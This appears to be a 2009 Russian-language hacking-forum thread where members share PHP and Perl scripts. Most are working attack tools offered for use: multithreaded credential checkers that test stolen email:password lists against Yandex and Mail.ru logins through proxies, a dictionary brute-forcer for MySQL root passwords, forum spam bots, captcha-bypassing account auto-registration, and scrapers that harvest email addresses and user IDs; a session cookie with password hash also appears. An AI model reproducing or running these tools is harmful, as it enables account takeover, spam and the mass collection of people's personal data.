$ua->default_header('Referer' => "http://kamtreid.ru/bon.php");
for(1..$count_attempt)
{
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my $answ = $ua->get("http://kamtreid.ru/form.php")->content;
my $code = undef;
if($answ =~ m,cod value='(\w+)',i)
{
$code = $1;
}
else
{
print "[ - ] Error parsing code!\n";
}
my $ans = $ua->post("http://kamtreid.ru/bonus.php",
["cod" => $code,
"r" => $wmr,
"submit" => "%CF%EE%EB%F3%F7%E8%F2%FC+%E1%EE%ED%F3%F1"])->code;
if($ans == 302)
{
print "[ ~ ] Ok\n"
}
}
}
sub proxy
{
my ($ua) = @_;
my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://www.cship.info/azenv.php')->content;
if($test =~ m,$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
#(c) Gaus 2009
heretic1990
15.08.2009, 02:02
Anners, название темы прочитай! какие нафиг сайты с бонусами!
Погода на weather.bigmir.net
<?php
class weather
{
########################################
#
# Погода на weather.bigmir.net
#
########################################
var $url = 'http://weather.bigmir.net/main/harkov/8956/';
var $celsius = 'N\A';
var $windspeed = 'N\A';
var $vlaga = 'N\A';
var $visibility = 'N\A';
var $obl = 'N\A';
var $date = 'N\A';
var $city = 'N\A';
function weather()
{
$url = file_get_contents($this->url);
#
if(preg_match('#<span id=\'TemperatureCelsius\'>(.*)<\/span>#',$url,$matches))
$this->celsius = $matches[1];
if(preg_match('#<span id=\'WindSpeed\'>(.*)<\/span>#U',$url,$matches))
$this->windspeed = $matches[1].'м/с';
if(preg_match('#<span id=\'RelativeHumidity\'>(.*)<\/span>#U',$url,$matches))
$this->vlaga = $matches[1].'%';
if(preg_match('#<span id=\'VisibilityKM\'>(.*)<\/span>#U',$url,$matches))
$this->visibility = $matches[1].'км';
if(preg_match('#<span id=\'CloudCoverage\'>(.*)</span>#U',$url,$matches))
$this->obl = $matches[1].'%';
if(preg_match('#<span id=\'forecastDate\'>(.*?)</span>#U',$url,$matches))
$this->date = 'Погода на '.$matches[1];
if(preg_match('#<div class="fl mrt_small">Погода в (.*)<\/div>#U',$url,$matches))
$this->city = 'В '.$matches[1];
}
}
$a = new weather;
echo $a->city.'<br />';
echo $a->date.'<br />';
echo 'Температура '.$a->celsius.'<br />';
echo 'Скорость ветра '.$a->windspeed.'<br />';
echo 'Влажность '.$a->vlaga.'<br />';
echo 'Видимость '.$a->visibility.'<br />';
echo 'Облачность '.$a->obl.'<br />';
?>
#!/usr/bin/perl
#yandex.ru checker
#(c) Gaus 2009
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
##############################
my $mails_file = 'mails.txt';# Файл со списокoм мыл, в формате мыло:пасс
my $delm = ';'; # Разделитель списка мыл
my $threads = 1; # Кол-во потоков
my $proxy_file = 'proxy.txt';# Файл с проксями
my $proxy_mode = 'OFF'; # Режим использования прокси
my $good_mails = 'good.txt'; # Файл с валидными мылами
##############################
my @mails : shared = lf($mails_file);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
while(@mails)
{
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my ($mail, $pass) = split $delm => shift @mails;
my ($login, $dom) = split '@' => $mail;
my $resp = $ua->post("http://pda-passport.yandex.ru/passport?mode=mauth",
["timestamp" => time,
"login" => $login,
"passwd" => $pass,
"In" => "%C2%EE%E9%F2%E8"])->code;
if($resp == 302)
{
wf($good_mails, "$mail;$pass\n");
print "[ + ] $mail;$pass\n";
}
else
{
print "[ - ] $mail;$pass\n";
}
}
}
sub proxy
{
my $ua = shift;
my ($ip, $port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp (my @data = <$dat>);
close $dat;
my %saw;
return @data = grep(!$saw{$_}++, @data);
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
Download (http://www.x2b.ru/get/59783)
<?php
$base_url='http://otvet.mail.ru';
$buffer=file_get_contents($base_url);
preg_match_all('/[\.\-_A-Za-z0-9]+?@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}/', $buffer, $emails);
$emails = array_unique($emails[0]);
foreach($emails as $ke => $vol){
echo $vol.'<br/>';
//ну а тут ваши необходимые действия
}
?>
Немного криво, главное принцип
Patronik
19.08.2009, 11:15
Всем доброе утро! Я написал такой скриптик который пробует подобрать пароль к mysql серверу. Пробовал его у себя на компе работает нормально. Вопрос, посмтрите и скажите может ли он подобрать пароль к удаленному mysql серверу? Или сервера настроены все так чтобы подключаться можно было только из локальной машины?
<html>
<head>
<title>Shpion</title>
</head>
<body>
<h2>Made by Patron</h2>
<a href = "http://www.libra.com/sql_shpion/tr.php">tr</a><br><br>
<?php
$dir = opendir("slovnuku");
while($file = readdir($dir))
{
if(($file != "..")&&($file != "."))
{
$slovnuku[]= $file;
}
}
$size = sizeof($slovnuku);
if($size != 0 )
{
foreach ($slovnuku as $curslovnuk)
{
echo'<a href = "http://www.libra.com/sql_shpion/shpion.php?curslovnuk='.$curslovnuk.'">'.$curslovnuk.'</a><br>';
}
}
closedir ($dir);
$curslov = $_GET['curslovnuk'];
echo'<center><a href = "http://www.libra.com/sql_shpion/shpion.php?unset=1">Вийти зісловника</a><br><br></center>';
if($_GET['unset'] == 1) { unset($curslov); }
if(isset($curslov))
{
$slovnuk = file("slovnuku/$curslov");
foreach ($slovnuk as $curworld)
{
//echo''.$curworld.'<br>';
$curworld = rtrim($curworld);
$coonect = mysql_connect("localhost", "root", $curworld);
if($coonect != false)
{
$fp = fopen("pas.txt", "a+");
$password = $curworld;
$string = "Пароль підібрано ----".$password."\n";
fputs($fp, $string);
fclose($fp);
echo'<p>Я вас вітаю! Пароль підібрано успішно!</p>';
exit;
}
else
{
echo '<p> В цьому словнику не знайшлося паролю(( </p>';
}
}
}
?>
</body>
</html>
Вопрос, посмтрите и скажите может ли он подобрать пароль к удаленному mysql серверу? Или сервера настроены все так чтобы подключаться можно было только из локальной машины?
от настроек сервера зависит
Patronik
20.08.2009, 09:49
А есть шанс что сервер настроен так что к нему можно подключиться?
Сборщик Id из групп
Недавно понадобилось много id пользователей, решил написать скрипт сбора Id из групп Вконтакте
<?php
set_time_limit(0);
//-----------------//
$email = " "; // E-mail
$pass = " "; // Пароль
$id = " "; // Id группы
$base = "base.txt"; // Файл с id'ами
$sleep = "3"; // Задержка (сек.)
//-----------------//
/* Авторизация */
$ch = curl_init("http://vkontakte.ru/login.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
/* Заходим в группу... */
curl_setopt($ch, CURLOPT_URL, "http://vkontakte.ru/search.php?e=1&group=".$id);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_cookie = curl_exec($ch);
/* ...и смотрим сколько в ней человек */
preg_match('#<strong>Найдено (.*?) ч#i', $res_cookie, $people);
/* Цикл для захода на след.страницу с Id'ами */
for ($i = 0; $i < ceil($people[1]/10); $i++){
$ch = curl_init("http://vkontakte.ru/search.php?e=1&group=".$id."&st=".$i."0");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
/* Парсим Id */
for ($n = 0; $n <= 10; $n++){
preg_match_all('#vkontakte.ru/u(.*?)/#i', $result, $end);
if ($end[1][$n] != ''){
$fh = fopen($base, "a+");
$success - fwrite($fh, $end[1][$n]."\n");
fclose($fh);}}
sleep($sleep);
}
/* geforse.name */
?>
#!/usr/bin/perl
use IO::Socket;
$phost = 'localhost'; #хост прокси
$pport = 8118; #порт прокси
$link = 'http://forum.ru'; #ссылка на форум без / в конце
$host = 'forum.ru'; #хост форума
$user = 'Юзир'; #юзер
$pass = 'pxVoQV'; #пасс
$topic = 'Превед'; #название топика
$message = 'Превед'; #текст
$forum = 2; #id форума
$sleep = 34; #задержка
$count = 35; #сколько топегов создать
###логинемся###
$post = "$link/index.php?act=Login&CODE=01&CookieDate=1";
$data = "UserName=$user&PassWord=$pass";
###получаем сессию###
$answ = request($post,$data);
($session,$session) = $answ =~ m/session_id=([a-z0-9]{32})/sg;
$topic = urlen($topic);
$message = urlen($message);
for (0..$count){
###топег### грузим страницу поста и парсим хидден кеи
$post = "$link/index.php?act=Post&CODE=00&f=$forum";
$top = "TopicTitle=$topic&Post=$message&s=$session";
$answa = request($post,$top);
@key = $answa =~ m/value=\'([a-zA-Z0-9]{32})\'/gsx;
$authkey = $key[1];
$postkey = $key[2];
###постем###
$post = "$link/index.php?act=Post&CODE=01&f=$forum";
$top = "TopicTitle=$topic&Post=$message&s=$session&auth_key=$authkey&postkey=$post_key&iconid=1";
$answ2 = request ($post,$top);
$session = $answ2 =~ m/session_id=([a-z0-9]{32})/g;
print "[+] Message ".$i++." posted\n";
sleep ($sleep);
}
sub request
{
($post,$data) = @_;
$sock = IO::Socket::INET->new(PeerAddr=>$phost,PeerPort=>$pport,Proto=>'tcp') || die '[-] Cant connect';
print $sock "POST $post HTTP/1.1\r\n".
"Host: $host\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($data)."\r\n".
"User-Agent: Perl\r\n".
"Connection: close\r\n\r\n$data";
while ($answ = <$sock>){
$answer .= $answ;
}
close $sock;
return $answer;
}
sub urlen
{
($str)=@_;
$str=~s/([^0-9A-Za-z\?&=:;])/sprintf("%%%x", ord($1))/eg;
return $str
}
сёдня покапался с .htaccess
И так 'нулевое расширение файла'
RewriteEngine On
RewriteRule ^([A-Za-z0-9-]+)/?$ $1.php [L]
К примеру создадим файл site.php
В него
<?PHP
echo $_GET['text'];
?>
В адресной строке будет как;
site?text=123
Смысл скрипта в том что убирается расширение файла :)
RewriteEngine On
RewriteRule ^$/(.*+)/ $1.php [L]
о взор мои сединам.
+ - 1 или более;
* - 0 или более, у тебя все вместе...,далее:
^ - начало строки, $- конец ,у тебя все вместе.
сорри за оффтоп но как оно у тебя работает?
о взор мои сединам.
+ - 1 или более;
* - 0 или более, у тебя все вместе...,далее:
^ - начало строки, $- конец ,у тебя все вместе.
сорри за оффтоп но как оно у тебя работает?
Apache2 И всё прекрасно у меня работает.
Отмена приглашений в группу
<?php
set_time_limit(0);
//-----------------//
$email = " "; // E-mail
$pass = " "; // Пароль
$id = " "; // Id группы
$amount = "50"; // Количество Id'ов для удаления
$sleep = "3"; // Задержка (сек.)
//-----------------//
/* Авторизация */
$ch = curl_init("http://vkontakte.ru/login.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
function page($id = '')
{
/* Заходим в группу... */
$ch = curl_init("http://vkontakte.ru/groups.php?act=members&gid=".$id."&op=1#pages/0_1");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
/* Получаем Id'ы пользователей на первой странице */
preg_match_all('#memberName_(.*?)"#i', $result, $end);
return $end;
}
for ($p = 1; $p <= ceil($amount/50); $p++){
$end = page($id);
/* Удаляем Id'ы */
for ($i = 0; $i <= 50; $i++){
$ch = curl_init("http://vkontakte.ru/groups.php?act=deleteInvited&id=".$end[1][$i]."&gid=".$id);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/groups.php?act=members&gid=".$id);
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
sleep($sleep);
}
}
/* geforse.name */
?>
Deathdreams
23.08.2009, 23:43
geforse
$amount = "50"; зачем тогда?
Наверно,надо заменить for ($i = 0; $i <= 50; $i++){
на for ($i = 0; $i <= $amount; $i++){
zifanchuck
24.08.2009, 04:24
глянь на пару строчек вверх, поймеш в чем дело.
п.с срипт сразу у меня не заработал потом после того как осмотрел его заметил 23 строчку
function page($id = '')
ну я туда впихнул группу типа
function page($id = '1111') и все заработало))))
спс за скрипт, мне как раз такой нужен был
$amount = "50"; зачем тогда?
Наверно,надо заменить for ($i = 0; $i <= 50; $i++){
на for ($i = 0; $i <= $amount; $i++){
Наверно не надо там этого заменять :)
Минималное количество отмененных id равно 50
Всё остальное считается так:
for ($p = 1; $p <= ceil($amount/50); $p++)
zifanchuck, извини там за ошибку, скрипт писал очень давно и судя по ошибке наверно спешил))
Вечный Онлайн Вконтакте
просили в этой (http://forum.antichat.ru/threadnav125772-1-10.html) теме
[+] Авторизируется по cookie
[+] Если cookie "мертвые",то с вашим E-mail/Password
[+] При необходимости пишет log-файл
<?php
set_time_limit(0);
//-----------------//
$email = ""; // E-mail
$pass = ""; // Пароль
$log = "0"; // 1 - Если нужно писать log-файл
//-----------------//
$ch = curl_init("http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook7777");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
if (preg_match('#l">E(.*?)<#i',$result,$avtoriz))
{
$ch = curl_init("http://vkontakte.ru/login.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook7777");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
if ($log == "1")
{
$fh = fopen("log.txt", "a+");
$success - fwrite($fh, "Авторизация [".date("H:i")."]\r\n");
fclose($fh);
}
}
else
{
if ($log == "1")
{
$fh = fopen("log.txt", "a+");
$success - fwrite($fh, "Работа через cookie [".date("H:i")."]\r\n");
fclose($fh);
}
}
/* geforse.name */
?>
http://forum.antichat.ru/images/icons/icon2.gif P.S. Заметил одну ошибку, у меня в пароле присутствует знак $, urlencode его почему-то не верно кодирует и авторизация не проходит. Если у вас скрипт не авторизиуется, то попробуйте поменять пароль на буквено-цифровой
Заметил одну ошибку, у меня в пароле присутствует знак $, urlencode его почему-то не верно кодирует и авторизация не проходит. Если у вас скрипт не авторизиуется, то попробуйте поменять пароль на буквено-цифровой
Возьми за привычку не использовать двойные ковычки там где нет переменных.
$pass = "";
У тебя неавторизовуется из-за них, потому как спецсиволы нужно екранировать.
zifanchuck
25.08.2009, 14:46
написал скриптик для отсылки статистики с партнерской программы nicetest на мобилку (смс) через сайт mts.com.ua
я только начал изучения курла и вообще я не спец по пхп, так что код у меня не гут) но главное работает)
ввести нужно логин, пасс, номер, и абсолютный путь к картинке с каптчой. и еще нужно отредактировать 120 и 150 строчки(вставить туда апикей)
ставим на крон и все)))
вот сам код
<?php
set_time_limit(0);
//NiceTest.ru
$login = " "; //Логин на партнерке
$pass = " "; //пароль на партнерке
$operator = "095"; // Оператор
$nomer = "1234567"; // Номер
$apath = "абсолютный/путь/к/cap.jpg"; //Абсолютный путь к cap.jpg
//Авторизация на Nicetest
$ch = curl_init("http://partners.nicetest.ru/admin.php?login=1");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".urlencode($login)."&password=".urlencode($pass));
curl_setopt($ch, CURLOPT_REFERER, "http://partners.nicetest.ru");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
//Грабим сумму
$res_index = str_replace("Заработано за период: <font class=main_12>","***", $res_index);
$res_index = str_replace("$</font></td></tr>","***", $res_index);
$res_index = str_replace("Заработано сегодня: <font class=main_12>","***", $res_index);
$res_index = str_replace("Из них рефералами: <font class=main_12>","***", $res_index);
list($str1, $str2, $str3, $str4, $str5, $str6) = explode("***", $res_index);
$segod = $str2;
$period = $str4;
$referal = $str6;
//отправка смс
$message = "segod=".$segod.";\r\nperiod=".$period.";\r\nreferal=".$referal;
$ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';
$ch = curl_init('http://www.mts.com.ua/ukr/sendsms.php');
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 0);
curl_setopt($ch, CURLOPT_REFERER, 'http://www.mts.com.ua/ukr/sendsms.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
### Func ###
function get_session($var)
{
preg_match('#PHPSESSID=(.*);#',$var,$matches);
$session = $matches[1];
return $session;
}
############
$session = get_session($res);
if(preg_match('#captcha\.php\?PHPSESSID=(.*)&rnd=(.*)" alt="Код"#',$res,$matches))
{
$rnd = $matches[2];
$ch = curl_init("http://www.mts.com.ua/back/modules/golden/captcha.php?PHPSESSID=$session&rnd=$rnd");
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$session);
curl_setopt($ch, CURLOPT_REFERER, 'http://www.mts.com.ua/ukr/sendsms.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
file_put_contents('cap.jpg',$res);
}
#######################################
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 3, $mtimeout = 200, $is_phrase = 0, $is_regsense = 1, $is_numeric = 0, $min_len = 0, $max_len = 0)
{
if (!file_exists($filename))
{
if ($is_verbose) echo "file $filename not found\n";
return false;
}
$postdata = array(
'method' => 'post',
'key' => $apikey,
'file' => '@'.$filename,
'phrase' => $is_phrase,
'regsense' => $is_regsense,
'numeric' => $is_numeric,
'min_len' => $min_len,
'max_len' => $max_len,
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://ac-service.info/in.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if (curl_errno($ch))
{
if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
return false;
}
curl_close($ch);
if (strpos($result, "ERROR")!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
else
{
$ex = explode("|", $result);
$captcha_id = $ex[1];
if ($is_verbose) echo "ID $captcha_id \n";
$waittime = 0;
if ($is_verbose) echo "<br>sleep $rtimeout \n";
sleep($rtimeout);
while(true)
{
$result = file_get_contents('http://ac-service.info/res.php?key=4d00d7b9863...........3f694&action=get&id='.$captcha_id); //сюда кей антикаптчи
if (strpos($result, 'ERROR')!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
if ($result=="CAPCHA_NOT_READY")
{
if ($is_verbose) echo "<br>captcha is not ready yet\n";
$waittime += $rtimeout;
if ($waittime>$mtimeout)
{
if ($is_verbose) echo "<br>timelimit ($mtimeout) hit\n";
break;
}
if ($is_verbose) echo "<br>waiting for $rtimeout seconds\n";
sleep($rtimeout);
}
else
{
$ex = explode('|', $result);
if (trim($ex[0])=='OK') return trim($ex[1]);
echo '<br>'.$ex[1];
}
}
return false;
}
}
#######################################
$captcha=recognize($apath ,"4d00d7b...............93f694",true); //сюда кей антикаптчи
$ch = curl_init("http://www.mts.com.ua/back/modules/sms/db_sms.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "script=%2Fukr%2Fsendsms.php&sms_tag_id=3&network1=38".$operator."&phone1=".$nomer."&message=".$message."&lang=lat&captcha=".$captcha);
curl_setopt($ch, CURLOPT_REFERER, "http://www.mts.com.ua/ukr/sendsms.php");
curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$session);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
?>
смска приходит вида
segod=999;
period=999;
referal=999
п.с прошу не пинать)
#!/usr/bin/perl
# my.mail.ru accounts checker by Gaus
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
###############################
my $file_accs = 'accs.txt'; # Файл с аккаунтами
my $delm_accs = ';'; # Разделитель списка аккаунтов
my $threads = 10; # Кол-во потоков
###############################
open my $file, '<', $file_accs or die "\nCould not open accounts file!\n";
chomp(my @accs : shared = <$file>);
close $file;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
while(@accs)
{
my ($mail,$pass) = split $delm_accs => shift @accs;;
my ($login,$domain) = split '@' => $mail;
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
my $answ = $ua->post('http://swa.mail.ru/cgi-bin/auth',
['action1' => 'Login',
'Login' => $login,
'Domain' => $domain,
'Password' => $pass])->code;
if($answ == 302)
{
my $resp = $ua->get("http://my.mail.ru/")->content;
if($resp =~ m,friends_requests" class="mf_menu2">(.*?)</a> (\d+)</div>,i)
{
if($2 > 0)
{
wf('acccounts_with_friends.txt',"$mail;$pass\n");
print "[ + ] $mail;$pass:$2\n";
}
else
{
print "[ ~ ] $mail;$pass:0\n";
wf('acccounts_without_friends.txt',"$mail;$pass\n");
}
}
else
{
print "[ ~ ] $mail;$pass\n";
}
}
else
{
print "[ - ] $mail;$pass\n";
}
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
Download(pass: antichat) (http://www.x2b.ru/get/60872)
restart_05
25.08.2009, 20:03
Почему у меня курл не работает ?? пишет undef. function
Почему у меня курл не работает ?? пишет undef. function
скачай курл библиотеки и отред. php.ini
Парсер контента, работает с cookies.
Скрипт Pashkela, поддержка cookies Pavlov.
<?php
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nReferer: http://forum.antichat.ru/index.php?\nCookie: abblastvisit=1251307988; abblastactivity=deleted; abbuserid=95513; abbpassword=bdbb9260271d89f701d585f6435112c8; abbsessionhash=0060e7152bd8aa91132d8b877bf9a097;\n"
)
);
$context = stream_context_create($opts);
$start = 95512;//Стартовая страница
$end = 95514;//Последняя страница
$pause = 1;//пауза в секундах между каждой страницей
$result = fopen('m.txt','w');//контент
for ($i=$start;$i<=$end;$i++) {
$a = file_get_contents('http://forum.antichat.ru/sendmessage.php?do=mailmember&u=' . $i . ' ', false,$context);
preg_match_all('/: <a href="mailto:.*?\">/ism',$a,$res[$i]);
$res[$i] = array_unique($res[$i][0]);
$b = implode ("\r\n",$res[$i]);
fwrite ($result,$b . "\r\n");
sleep($pause);
}
fclose ($result);
echo "<html><title>The mail</title><body bgcolor='#363940'>";
echo "<font color='c1c1c7'>The mail accounts of the members </font> ";
echo "<font color='PaleGreen'>[" . $start . "-" . $end . "]</font> ";
echo "<font color='c1c1c7'>has been saved as </font>";
echo "<font color='PaleGreen'>m.txt</font></html></body>";
?>
Авторегер E-mail + сайтов Narod.ru
<?php
set_time_limit(0);
//-----------------//
$email = 'yandex_mail.txt'; // Файл с E-mail
$narod = 'narod.txt'; // Файл с FTP
$ammount = '5'; // Количество регистраций
$divider = ':'; // Разделитель
$ac_key = ' '; // Ключ антикапчи
#$proxy = ' '; // Можно через покси (в функции 'post' нужно раскоментировать строку с $proxy)
//-----------------//
function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
#curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
/* Функция для распознавания капчи */
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 1, $min_len = 0, $max_len = 0)
{
if (!file_exists($filename))
{
if ($is_verbose) echo "file $filename not found\n";
return false;
}
$postdata = array(
'method' => 'post',
